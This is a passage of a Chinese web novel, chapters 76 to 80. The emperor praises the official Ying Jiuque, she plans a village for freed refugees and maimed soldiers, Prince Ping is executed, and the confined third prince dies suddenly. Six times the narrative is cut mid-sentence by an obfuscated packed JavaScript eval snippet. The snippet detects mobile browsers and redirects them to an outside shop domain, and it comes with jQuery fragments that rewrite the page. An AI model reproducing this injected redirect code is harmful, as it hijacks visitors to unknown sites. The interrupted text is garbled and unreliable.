原本还想着事情会不会有转机的臣子们看到两位娘娘出来,不过片刻就被陛下扭送回去,那是一句话都说不出了。 “众卿以此为戒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501228|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望日后能安分守己,为国家百姓做事。” “是——” 说完这句话,景泰帝甩了甩袖子,转身离开,只不过临走之前把应九阙给带上了。 身后众臣子看着陛下毫不留恋转身就走的背影,以及那个明明是女子却可以被陛下带在身边信任的应九阙,暗地里牙都不知道咬碎了几颗。 虽然罪魁祸首被陛下带走,他们没办法多说,可罪魁祸首的亲爹还在这里,因此等林炜反应过来想偷偷溜走的时候,惊恐的发现自己已经被团团包围了。 “林大人,你可真是养了个好女儿,我之前怎么没看出来你有这个天赋?听说您家里还有几个闺女,如果个个都像应大人这样出众,你以后还担心什么?这不正是后继有人吗?” “瞧你这话说的。就算林大人教女有方也不会把教导闺女的方法告诉你我呀,万一咱们家里也出现一两个似应大人这般出众的闺女,日后该怎么出来和同僚交流?” “你们说话声音可要小点儿,万一被应大人听到为自己父亲打抱不平,你我可要惨了,说不定也要被关进刑部大牢……” “哎呦,你说的是。我可得声音小点儿,听说那刑部大牢阴冷潮湿,可不是我这样的软骨头能进去的。罢了罢了,谁让咱们 没这个福分呢。” “诸位大人,那逆女从小在庄子里长大,我是真没教过她这些……” 林炜是真的委屈,他从小对这个女儿就没怎么关注过,谁能想到这才回家几天就给他惹来这么多烂摊子。 “林大人这话可就奇怪了,既然您没教导过,应大人在庄子里长大,周围陪伴的不过也都是些庄户人家,怎么人家既能识文断字又能给陛下办案还做的如此出色?瞧瞧,出色到连一位皇子,一位王爷都被关到刑部大牢里头去了。反正我看啊,林大人,你的福气,在后头呢。” “是啊是啊,我就先在这里恭喜林大人了……” 第七十六章 应卿啊 周围这些提心吊胆了许久的官员对着林大人就是一顿冷嘲热讽,不过他们也不敢太嚣张,毕竟打断骨头还连着筋,林炜嘴上说和自己闺女不亲近,谁知道这话是真是假?在此之前林炜不是也表现的爱女如命?尤其之前在陛下寿宴上,林炜和应九阙那叫一个父女情深。 现在这时节啊,不好说,当真不好说。 看着诸位同僚远去的背影,再看看自己身边,连交好的同僚都走了,他现在可是真成了孤家寡人一个。林炜的表情那叫一个难看,他就该知道那个丧门星回来准没好事儿。好不容易给家里挣来了两分颜面,偏偏不出两天就败坏了个干净,之前还遗憾她不肯回林家住,现在倒是庆幸那逆女没有回去,要不然到时候还真是掰扯不清了。 总之他要尽快和那个逆女掰扯干净…… 想好了之后,林大人甩了甩衣袖,忧心忡忡的离开了。 这边,林炜等人的反应都被内监告诉了景泰帝。这会儿景泰帝已经带着应九阙到养身殿。这是他平日处理事物和小憩的地方,按理说,除非备受重用的臣子,很少能来到这所宫殿。不过自从九阙回京,来这地方跟回家似的,隔三差五就来。 这会儿默默坐在九福公公搬来的凳子上,九阙一时间默默无言。对于现在这个发展其实她早有预料,只不过当真正发生的时候,应九阙还是有点儿紧张的。 【呃,如果我说我不是故意把景泰帝弄的妻离子散,也不知道老皇帝会不会相信。可是我做都已经做了,现在总不能反悔说我抓到的都是些无辜之人吧?嗯,虽然觉得老皇帝很可怜,可三皇子和平王真不是个东西啊。明明已经享受了那么多的荣华富贵,还觉得不够,我怎么记得老皇帝经常赏赐自己的孩子?就算平王不是老皇帝的亲生儿子,那吃穿住行也是一等一的好。他就自己那一家子能吃穿花用多少?非得铤而走险花那些黑心钱?】 【啧啧啧,这种事情也不能说绝对的谁对谁错。或许他就是爱享受吧。不过刚刚那两位娘娘怎么也不安慰安慰陛下?自己的儿子出了这样的事,可是让老皇帝在这么多人面前丢了大丑。老皇帝多么爱惜脸面的一个人啊,难道和他并肩作战那么多年的老兄弟和儿子们做了这样的事情,他脸上就有光彩了?唉,当皇帝可真是不容易,明明自己已经很勤俭了,可奈何身边的人不给力呀。不管怎么着,这在史书上总会记上一笔。】 景泰帝的表情不太好看,这小混帐倒是知道的清楚。就是总在私底下喊他老皇帝,这个习惯可不好。 【不过没想到老皇帝还真的愿意处理这些人。我还以为他会徇私呢……】 景泰帝的嘴角忍不住抽了抽。原来你在进宫之前根本就不知道我会不会秉公执法啊。不过就算这样,应九阙也还是硬撑着进了宫。这孩子,也不知道聪明还是傻。 “咳咳!” “应卿啊,你这次做的很好,不仅抓到了罪魁祸首,而且还解救出那么多无辜之人,如果不是你,朕还不知道脚下这座皇城竟有如此多的污秽。你是个好孩子。” 【这怎么夸着夸着还煽情了呢?怪不好意思的。】 “陛下言重了,如果不是陛下鼎力支持,微臣也不可能这么快就找到牵连其中的官员。” 景泰帝叹了口气。 别人家的孩子怎么这么优秀?偏偏别人家当爹的还看不上九阙这孩子。既有能力还不怕担事儿,又能把百姓放在心里,这要是自己的孩子该多好,他简直做梦都能笑醒。 “你这次解决了一桩大案,朕要大大的赏赐。你想要什么?” 这句话好像之前也听说过。九阙扯了扯嘴角,觉得很有既视感。不过她还真没什么想要的,她现在既当官又有个县主的爵位,而且这件事并没有到此为止。那些流失的丹药和找不到的失踪之人,依旧让她如鲠在喉。还有,之前虽然已经将霹雳火的法子交给了陛下,可其实无忧洞底下藏着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501229|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人还没有尽数赶出来。 毕竟要制作出不符合这个时代的东西还是相当费时间的。还有那些从无忧洞中赶出来的人该怎么办?他们之中的大多数是一些流离失所没有地方居住,没有户籍的流民,要么就是生活不下去的残缺之人和乞丐。就算被赶出来,他们除了找个新的地方小心翼翼的活着又能怎么办呢? 远道他们几个也不过是遇到了自己能将他们带在身边,可无忧洞底下有更多的乞丐,该如何安置? 唉,这些只要想想都觉得头疼,哪怕交给朝廷处置,也不过是将其中一些年老年少的送进慈恩院这些地方,又是一笔巨大的支出,本来朝廷就已经入不敷出,虽然这回收缴了这么多的金银珠宝,可也只能解决衢州那边的燃眉之急,这几年收成不好,国库空虚。就算拨款下去,可层层盘剥下来,真正能到达这些需要帮助的人手里,又能有几文钱? 【如果我说可以帮忙解决那些无所居的人,会不会显得太过骄傲自大大了些?我本来就已经很显眼,要是这时候又跳出来,那些当官儿的岂不是要把我给生吞活剥了?我都能想象的出来他们到时候会是什么样的嘴脸。嗯,要不还是算了吧,让老皇帝自己头疼去,他总不会放着不管……】 “应卿啊 ,说起来朕有件事儿,一直头疼不已。朝中诸臣又是这般模样,朕只有应卿可以相信。不知应卿可否为朕分忧解难?” 心里正在嘀嘀咕咕,猛然听到景泰帝的声音,一抬头就看到陛下诚恳的表情,九阙吓了一跳。呃,她还以为自己刚刚把心里想的话说出来了呢。 “陛下言重了。您有什么烦恼,只管吩咐下来,臣必定尽心竭力,全力以赴。” “唉,其实也没什么,就是无忧洞中抓出来的那些人。要说十恶不赦吧,也犯不上,大多数都是些老弱病残,杀肯定是不能杀。但怎么安置他们就成了难题。应卿聪明伶俐,不知有什么法子可以帮他们安置?” 第七十七章 如何安置百姓? 九阙第一反应就是自己刚刚是不是把心里话说出来了,可是看到景泰帝那张因为接连的打击而变得略显苍老的脸,又觉得不太可能,她又不是两三岁的小孩儿,怎么可能把心里话说出来? 不过奇怪的是,景泰帝怎么会问她这样的问题?一般来说像这种安置百姓的问题不应该去找户部?可是再想想刚刚户部被接连拔起的好几个官员,九阙又释然了。好吧,老皇帝现在当真是无人可用,恰好,她现在有个提案。 “多谢陛下信任,微臣倒真是有个想法。” “说来听听。” “如果把这些百姓养起来,不过是花费大量的钱财养一群闲人而已。而且,当习惯了饭来张口,衣来伸手的生活之后,他们或许会生出懒惰之心。所以不如给他们找一份能养活得起自己的活计,让他们自己养活自己。这样不是两全其美?” “可你也知道,那里面出来的大多数都是老弱病残,他们能做的活实在有限。就算让酒楼饭馆儿等其他行业的商人收揽,他们与其他年轻健壮的人相比也没有优势。” 毕竟就算他身为皇帝也总不能强迫人家放着更好用的人手不选,反而去选那些老弱病残给自己增加负担吧?天下没有这样的道理。 应九阙此刻大脑里飞速运转,说起赚钱的法子,她还真不少。只不过要选出来一种不冲击现有产业的法子,一时间倒也没什么头绪。就在这时,她的目光落在了旁边景泰帝让人准备好的一桌御膳上。 皇帝吃的东西,那是天上地下,山珍海味,什么都有。这会儿应九阙的眼神就落在一盘蘑菇上。其实现在大多数的蘑菇已经过了生长期,可在陛下的餐桌上依旧可以看到品相上佳的蘑菇。现在这个时代,菌菇之类的东西只有自然生长采摘,很少有人知道如何种植。很巧,应九阙就知道。只要有适宜的温度和湿度,蘑菇总能长出来。而且这个时候任何反季节的东西都属于奇珍,只要他们能种出来,就不愁销路,别的不说,就说这满京城的达官贵人们,最好的就是一个攀比,若是出去宴饮发现别人家的餐桌上有这样违逆天时的蘑菇,而自己家还没尝过味道,怎么能忍? 种植蘑菇的过程可能会有些苦力活,不过这些应九阙也想到了另外一个法子。在此之前她其实也思考过那些人最好的出路,如今刚好可以结合起来。 “陛下,微臣倒是有个法子可以让他们自力更生。还有另外一群人,他们的处境也值得一救。” “哦?说说看。” 应九阙坦言相告。其实这还是木老给她的启迪。当初年年战乱,有些人侥幸能从战场上活着下来,但却缺胳膊少腿,身有残缺。这个时代的底层百姓如果没有健全的身体很难养活自己,再加上如今很多人都讲究一个多子多福,好不容易从战场上回来的士兵回到家后却发现已经没有自己的一席之地,甚至还因为身体上的残缺给家人带来了沉重的负担,以至于不被家人看重。 其实有很多人即使身无残缺也能活下来,可是在回到家后,不出一年半载就死去了,很难说他们不是因为这种心理上巨大的落差。在战场上刀剑无眼,过了今天没明天,苦不堪言。唯一可以思念的就是自己的家乡亲人,可是等真正回去之后却发现家乡的亲人并不欢迎自己,这是多么痛苦的折磨。 “……总不能让战士们既流血又流泪吧?刚好那些士兵即使退隐这么多年,该有的功夫还是有的。到时候有他们保护,即使是些老弱,也能保存自身……当然,这只是臣不成熟的想法,究竟能不能成,还得陛下定夺。” “……” 景泰帝有很长时间都说不出话。他知道九阙是个好孩子,但这孩子的好还是出乎他意料。难道景泰帝不知道当初那些身体残缺的战士们过的有多惨吗?是他不想关注吗?当然不是,是他实在没有办法。 当初战争结束后,朝廷本应该给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501230|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些返乡的士兵们一笔补偿。可是景泰帝没办法,他穷,实在太穷,本来就是白手起家的起义军。走了狗屎运才能在当初大争的世道里一路扶摇直上,登基为帝。 当初有那么多起义军,只有他这支队伍最穷。哪怕取得了最后的胜利,所得的钱财还不够让大景朝复兴的。所以当初是景泰帝亏待了他们。当年应该发放的抚恤金,有相当一部分没有落实。 这也一直是景泰帝心里的一个疙瘩。虽然每年他都会从国库里抽出一部分分发到当初那些士兵手里,可内心深处依旧觉得亏欠他们太多。只不过朝堂上人才济济,却好像都一致忽略了这个问题。直到今天,这个问题竟然从一个刚当官儿没几天,自己还是个孩子的九阙口中说出来。 这怎么能不让景泰帝心情复杂? “你说的很好,这法子也很有用。九阙,你真是朕的福星啊!” “陛下谬赞了。” “那朕就把这件事交给你,一事不劳二主。希望你能一直记得今日的初心,将百姓放在心里。” “是。” 能为大家做点儿事儿,九阙也是愿意的。 有了可以兜底的人,景泰帝不再留手,直接将新一代的金甲卫拎出来,让他们亲自下到无忧洞去抓捕敌人,将无辜之人带出来。地形狭 窄也有地形狭窄的好处,能练兵啊。若是以后遇到巷战,有了这次的经验,也知道应对的法子。 有了应九阙友情提供的方子,烟雾浓重杀伤力不强的霹雳弹在前开路,能在一瞬间爆出几闪亮光的信号弹在后,抓捕一事进行的相当顺利,与此同时地面上的人也没闲着。将账册上所有经手过银两运转的官员平民探子全都抓起来,这一番抄家下来,大景朝的国库肉眼可见的充盈。 别的不说,就这一件事,已经足够景泰地重视应九阙了。毕竟别的臣子只会从他这里抠钱,只有应九阙,为他赚了钱。 第七十八章 早就被堵住了 在应九阙从这些事中抽身为那些被解救出来的百姓和残缺的士兵们谋划事业的时候,京城上空笼罩着一层血雾。 都说天子一怒,伏尸百万,如今这情形也差不离了。 这几日刑部大牢越来越拥挤,菜市口上落下的人头能堆成小山。无声的惶恐在静默中蔓延。有些侥幸未被抓到的人都在默默等待,等待那最后一刀落下的时候。 刑部大牢里,迎来了一位尊贵无比的客人。当那位踏入刑部大牢的一瞬间,原本正在苦苦哀嚎的犯人们都禁不住闭上了嘴。他们虽然极力喊冤,但实际上冤不冤只有自己心里清楚,是不敢在这位至尊面前叫喊的。 一直待在刑部大牢里艰难度日的平王,在看到那位的瞬间忍不住匍匐过去,大声痛哭。 “父皇!父皇儿臣真的知道错了,父皇!求您饶恕儿臣吧,儿臣以后再也不会这么做了。儿臣把那些贪来的银子全都捐出来,行不行?求您了,我真不想再待在这里,这里又冷又潮湿。我身上都起疹子了……” “……” 景泰帝一时间没有说话,就连旁边住着的三皇子都用不解的眼神看了一眼自己这个一向没出息的哥哥。虽说他只是父皇的假子,可享受了这么多年荣华富贵,怎么连这点儿眼力见儿都没有?父皇这回前来显然不是来赦免他们,而是要来问罪。 想到这里三皇子心里还有些难受,他也没想到自己做的那些事情竟然这么快就被发现。而且看父皇的样子,没有要赦免他的意思。可他是父皇的亲生儿子,父皇子嗣艰难,一共只有四位皇子。父皇准备怎么做?难道要杀了他吗?就为了一群贱民? 景泰帝目光沉沉的看了一眼这个三儿子。以前他总觉得自己四个儿子虽不算绝顶聪明,但也是好苗子。尤其这个老三,平日里被文臣武将捧着,还有人说他极像自己。可现在仔细看看,到底哪里像自己了?这分明一点儿都不像。 即便到了此刻,也不肯坦白自己过失…… “逆子,你可知罪?” “父皇!儿臣知罪了,儿臣知罪……” 平王磕头如捣蒜,只是许久都没人搭理他,才猛然反应过来陛下说的不是自己,而是三皇子。可是三弟怎么不吭声?还不赶紧趁着父皇上心软的时候求情。真要被惩罚才甘心? 就在他准备喊三皇子的时候,景泰帝冰冷的声音响起。 “逆子,你现在还不肯说出幕后主使是谁?堂堂皇子难道要为别人背黑锅?十三年前,你明明未满十岁,难道就有天大的胆子敢和无忧洞的幕后真凶搅和在一起?就算你敢,也没那个能力。” “……父皇既然都已经知道,还来问我做什么。反正在父皇眼里,我现在只是一个忤逆不孝的逆子。” 三皇子并不反驳,只是有气无力的说了这么一番话,气的景泰帝打开牢门冲上前去,狠狠踢了他一脚。 “逆子!事到临头还想狡辩。快说!” 三皇子挨了一脚有些刺痛。就算他被关到刑部大牢,也没人敢对他这位陛下亲子动刑,因此他只是忍受了几日阴冷潮湿,臭气满满的环境。这会儿真被陛下动手狠狠踢了一脚,也有点儿抗不住。 景泰帝是个多么疼爱孩子的人啊,连抱孙不抱子的传统都不顾,行军打仗的时候经常抱他们这些孩子,就算杀到京城称登基为帝之后事务繁忙,对他们也相当好。三皇子这会儿正经有点儿委屈。父皇竟然为了那些贱民打自己,难道在父皇心里,那些贱民比自己的地位还要高? 这会儿的三皇子颇有点儿心灰意冷的感觉。 “父皇,您知道每日来巴结我的人有多少吗?太多了,如过江之鲫,数不胜数。无忧洞幕后真凶到底是谁其实我也不知,我只知道,那边每月都会分润给我巨大的利益,所以就不吝啬于当这个庇护者。我不必插手,每月就能有大笔进账。为什么不做?” “其实刚开始的时候我也害怕。毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501231|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我那个时候小啊,才十几岁的孩子。可没办法,那些金银财宝实在太诱人了,哪怕我贵为皇子,可要想享受这世间极乐,只凭每月您给我的那些俸禄是不够的。其实不瞒您说,我庇护的生意还有很多。刚开始的时候还会去查一查这生意到底正不正当,但后来就懒得去查了。毕竟这天底下又有谁敢骗我这个皇子?” “后来就算知道有些生意不正当,也顾不得许多,我已经抽不出身了。每日流进来的白花花的银子实在太过可爱,我舍不得放弃……” “逆子!逆子!” 景泰帝恨的冲上去狠狠给了三皇子几下,气的胸膛不断起伏,脸色铁青,他怎么也想不到,在自己眼里尚且是个孩子的三皇子竟然会有这样的想法。 “贱民贱民!什么是贱民?当初你老子我也是贱民!你也是贱民的孩子你不也是贱民?!咱们日子好起来才过了多少年,你就已经变成这蠢样!你和当初那些压迫咱们的贪官污吏地痞恶霸有什么区别?你难道忘了当初是如何痛恨他们?这才过了几年,你就成了当初最讨厌的那种人?!” 景泰帝声如雷霆三皇子被打的无法还手,旁边的平王更是吓得瑟瑟发抖,蜷缩成一团,生怕景泰帝注意到自己。 等景泰帝停 手的时候,三皇子已经鼻青脸肿,甚至嘴角已经溢出血渍。他当然听到了景泰帝的话,可他无法回答,因为他也说不清自己到底从什么时候开始变成现在这样。权力对人心的腐蚀实在是太快了。快到他根本反应不过来。 当一个人随口说出一句话,周围就有数不胜数的人捧着不让掉在地上。当周围满是阿谀奉承赞美的声音,当你想要什么就能有什么,当你几乎站在这世间最顶端,有些以前极为在意的东西就这么轻而易举的反转了。 我既然都成了皇帝的儿子,为什么不能随心所欲?为什么不能享受一把权利带来的愉悦? 至于那来时路,早就被似锦繁花堵住了。 第七十九章 平王处死 景泰帝突然发作,狠狠揍了三皇子一顿,然而就算把三皇子打的鼻青脸肿,他也还是说不出来背后之人到底是谁。就像他之前说的那样,不过是条来钱的门路,只要来钱快。谁会管它干净不干净?毕竟如今最高那把椅子上坐着的人是他亲爹,就算出了什么事,他亲爹总会保着自己。 没错,在今天之前三皇子确实是这样想的,只不过在被景泰帝狠狠揍了一顿之后,他才发现原来自己在父皇心中并不是不可替代的。也是这个时候三皇子才想起来,他还有三个兄弟。 难道这次的事情和他们三个假仁假义的兄弟有关?毕竟就算应九阙再怎么厉害,也不能拼上自己的性命去做这件跟自己毫无利益相关的事吧? 不得不说,其实三皇子从来都没有把应九阙放在眼里,哪怕捅了这么大的篓子,在三皇子心里也只不过是把被推出来的刀罢了。 等到景泰帝打累了,三皇子扑过去一把抱住他的腿。 “父皇!儿臣知道错了父皇!但是这件事真的跟儿臣没有关系,儿臣只是贪图钱财,并不知道这背后的勾当。您就饶了我这一次吧,我以后一定改过自新……” 景泰帝毕竟年纪大了,平日里也缺少锻炼,这回一出手把三皇子揍的险些起不来身,他自己也累了个够呛,只不过在听到这句话时,心里还是拔凉拔凉的。怎么在此之前他从来没发现自己这个老三儿子竟然是个蠢货废物? “你说你对无忧洞背后的勾当毫不知情?哈,老三,如果你当真毫不知情,当初九阙去你府上时,你那个管家为什么突然暴毙?别跟我说这件事儿跟你没有关系,别人的手再长,没有你的允许,你府中的管事会死的莫名其妙?” “如果你当真问心无愧,当真一无所知,为什么要杀他?” “那是因为,那是因为我害怕啊父皇,我害怕您会因此不喜欢我,我害怕从此以后我就会失去……” 景泰帝失望的看着这个儿子。就算他没说全,景泰帝也知道他刚刚想说什么。 “你是害怕失去当皇帝的资格吧。” “父皇!” 三皇子瞳孔猛然一缩,他没想到父皇会如此直白的说出。他当然想做皇帝。人生在世,能成为皇帝的儿子已然很幸运,并且父皇对他还很好,这样的人生,谁不想走上了至高之位尝尝滋味? 可他并不是父皇的独子,他还有另外三个兄弟,而且他们四个年龄差距并不大。他们的母妃都不是皇后,也就无所谓嫡庶。连年龄差距都不明显,朝中那些左右摇摆的大臣们自然四处下注。如果想把朝中大臣拉拢过去,肯定需要大量的钱财权势。 他想要拉拢人心,让自己成为皇帝,有什么错?错就错在他这次做事不谨慎,被父皇发现了。不过没关系,就算触犯律法又如何?只要能得到父皇的原谅,他总能东山再起。 然而景泰帝早就已经看透了这个儿子。他面无表情,居高临下的看着痛哭流涕的老三,失望的对他下达了最后判决。 “传旨,三皇子景凤翔,触犯律法,残害奴仆,忤逆犯上!贬为庶人!幽禁三皇子府!没有朕的旨意,寸步不得出!” “平王,不忠不孝,贪图享乐,致使民女十八人惨死……斩立决!” “父皇——” 原本还想当做自己不存在的平王此刻一声凄厉的长嚎,猛然扑过来抱住门上的柱子,手从缝隙里伸出来,拼命朝着景泰帝的方向伸。他面色惨白,几乎语无伦次。 “父皇不要啊!父皇我知道错了!我真的知道错了!我以后真的再也不敢了,您就饶我这一回吧,我愿意被贬为庶民,我愿意抄家流放,只要你留我一条性命啊!父皇——” 然而景泰帝只是冷冷的看着他,转身欲走。 平王眼见景泰帝狠了心要置他于死地,再看看旁边面色惨白委顿在地的三皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501232|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,突然指着三皇子大声喊。 “不公平,这不公平!父皇!明明老三也犯了错,他也杀了人,为什么你不杀他难道就因为他是你亲儿子?我不是吗?父皇你平日里不是疼爱我吗?为什么这种时候不愿意高抬贵手饶我一条性命!既然你饶了三皇子不死,你也得饶我不死!” 景泰帝停下脚步,转身看着哭天抢地的平王,眼神沉沉许久都没有说话。 “平王,你本就不是我亲子。碍于你母亲的颜面,我待你如同亲子一般,你没有皇子的名头,却享受了皇子应有的待遇。不说为国为民,也不说为君父担忧,却只是贪图享乐也就罢了。可你千不该万不该,不该将那些无辜民女玩弄至死。三皇子是杀了人。但他杀的是自己府中的奴仆,我也已经惩罚过他,可你杀的,是良民!” “若是你对朕的处罚有异议,自去翻看大景律法!” 说完这句话,景泰帝怒气冲冲的离开。而对于三皇子和平王的处置,转瞬间就天下皆知。 此刻,京中那些原本正在观望的官员们纷纷闭嘴了,陛下连自己的亲子和继子都下得了手,更何况是他们这些没有血缘关系的官员?从此以后还是得夹着尾巴过日子啊。至于那些求上门来的罪臣家属,不熟不熟,我们不熟! 得知这个消息的时候,九阙正在热火朝天的 在京城附近建新村,来告诉应九阙这个消息的淳于霜看一眼面前这群拼命干活却还笑逐颜开的平民百姓,忍不住感慨。 这些人被从无忧洞解救出来的时候,一个个看上去麻木至极,身体也不好,虚弱的好像再过几日就能到地下跟祖先团聚了一样,可是这才过去几天啊,就已经神采奕奕的过来干活了。她都怀疑这和之前那群人是不是同一批了。 “三皇子被关起来,陛下也没说什么时候把他放出来,说不定得关一辈子。不过这毕竟是陛下的家事,咱们还是不要多说为好。” 第八十章 三皇子,暴毙 淳于霜说着还小心的看了一眼应九阙的脸色,发现对方在看自己的九阙有些奇怪,不过她转眼之间就明白了这位朋友的想法,忍不住笑了笑。 “怎么?难道你以为我会不满这个处罚,愤而起身跟陛下争论吗?” 淳于霜虽然没有说话,但看她那样子就是这么想的。九阙是真觉得好笑了。 “你怎么会这么想?我只是个普通人。虽然有幸得到陛下的赏识,但我只是个臣子。做人臣子的怎么能对陛下的决定多加议论?而且陛下的处罚也不算轻,毕竟已经剥夺了三皇子的身份贬为庶民,说不定还要被关起来一辈子,这对于三皇子那样的人来说,已经是很严重的处罚。” “而且除了三皇子,其他参与其中的人都受到了应有的惩罚。据说那位十分受陛下宠爱的平王殿下直接被判了斩立决。昨天不是已经斩首了?陛下的态度已经很明显,接下来就不是咱们这种小虾米能插手的事了。” “……你能这样想就好。” 淳于霜可是见过这位近日来颇出风头的朋友是如何不顾自己的前途官声扑上去疯狂撕咬,就想把幕后黑手找出来的。 也因此她有些担心九阙会在听到这个处罚之后觉得不公。但她们就算觉得不公又如何?毕竟三皇子可是陛下的亲儿子,而谁都知道,陛下很缺儿子。 说实话,在听到这个处罚的时候,淳于霜都震惊了,因为以她对陛下的了解,陛下那般宠爱自己的孩子,就算不是自己亲生的那几个继子都一个个封了王,每年都要给大量的赏赐,这突然对自己亲儿子下手,还真叫她觉得不适应。 不过好在九阙对这件事不在意。看一眼这欣欣向荣的村子雏形,淳于霜忍不住加入其中帮忙。无论何时何地,有希望的地方总显得那么显眼特别。 “应大人,这批木料要放在哪里?” 说话的是木老,也不知道他们从哪里得到的消息,自从开始重建村子以来,木老林大娘以及林大娘的儿子,街坊邻居什么的都跑过来帮忙。并且他们还准备分文不取,这怎么行? 毕竟九阙建这个村子的目的就是为了让他们能够自食其力,如果趁着这个时机能和城里的人打好交道,对以后的销路来说也是件好事。 因为她这里报酬高,所以来这边做工的人还真不少,再加上从周边吸收来的身体残缺的士兵,这里的人数已经很可观,再等个十天半月,这里的基础框架就能建好。以后这村子的生计就着落了。 她这段时间出的风头不少,暗地里恨她恨的要死的人肯定更多。别的不说,就说宫里那两位娘娘,绝对对她恨之入骨。不得不说陛下给她的这项任务,倒是可以让她暂时离开大众的视线等事件渐渐平息下来会比现在好的多。 只是,好像上天从来都见不得九阙安生。 三日之后。京城突然传来噩耗,三皇子暴毙。 三皇子府。 一个美丽的宫装妇人扑在三皇子冰冷僵硬的尸体上撕心裂肺的哭嚎,原本那些格外看重的礼仪此刻已经被抛到九霄云外。整个三皇子府一片死寂,除了于妃娘娘的痛哭声外,就剩下三皇子妻妾们的抽噎声。 景泰帝铁青着脸站在一边。虽然他心里觉得自己这个三儿子死上一万次都不够,可是当真看到他尸体的一瞬间,景泰帝一瞬间老了十岁不止。 白发人送黑发,人世间至难之事。前些时日他才送走平王,如今又轮到老三。他当真是什么十恶不赦之人?让他中年丧子,体会这世间至痛。 “我的儿啊——” “你还这么年轻,怎么就去了?你怎么不想想为娘该怎么办?娘的孩儿啊,你这一走可是把娘的心都疼碎了啊……” 景泰帝觉得自己鼻根发酸,他微微仰起头,努力压下泪意,转头看向战战兢兢的三皇子府侍卫统领。 “三皇子为何暴毙?他无病无灾无痛,这么年轻怎么就突然没了?!朕让你看守三皇子府,你就是这样看守的?是不是日后让你驻守皇宫,你能让朕突然暴毙?!” “陛下饶命!陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501233|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下饶命!臣罪该万死,臣万万不敢啊!” 是为统领战战兢兢。脸色惨白,额头冒出大颗大颗的冷汗,事实上他也觉得奇怪,虽说三皇子被关在府中,可这是他自己的府邸,三皇子府富丽堂皇,明亮宽敞,比外面一条街都大。且不说陛下没说要将三皇子关一辈子,就算要关上个十年八年,也不觉逼仄,三皇子为什么要想不开啊? 然而这个时候谁会管他在想什么?景泰帝直接让整个太医院数得上名的太医都赶过来,仔细检查三皇子的死因。 于妃被宫女小心搀扶到旁边,这会儿精神恍惚,脸色难看。当发现这些太医在翻来覆去查看自己儿子尸体的时候,于妃整个人都要崩溃了。 “你们在做什么?别动我儿子!陛下!陛下!您已经惩罚过咱们的孩子,连他死了都不能安宁吗?” “你这是什么话?朕的儿子不能白死,总要查出来他为什么突然暴毙。” 于妃这会儿也不知想到了什么,突然喃喃自语。 “明明,明明那个应九阙出现之前一切都好好的。她一出现就害死了我的孩子,那就是个灾星!如 果不是她!皇儿就不会死!都是因为她!” “……来人,先把于妃送回去。” 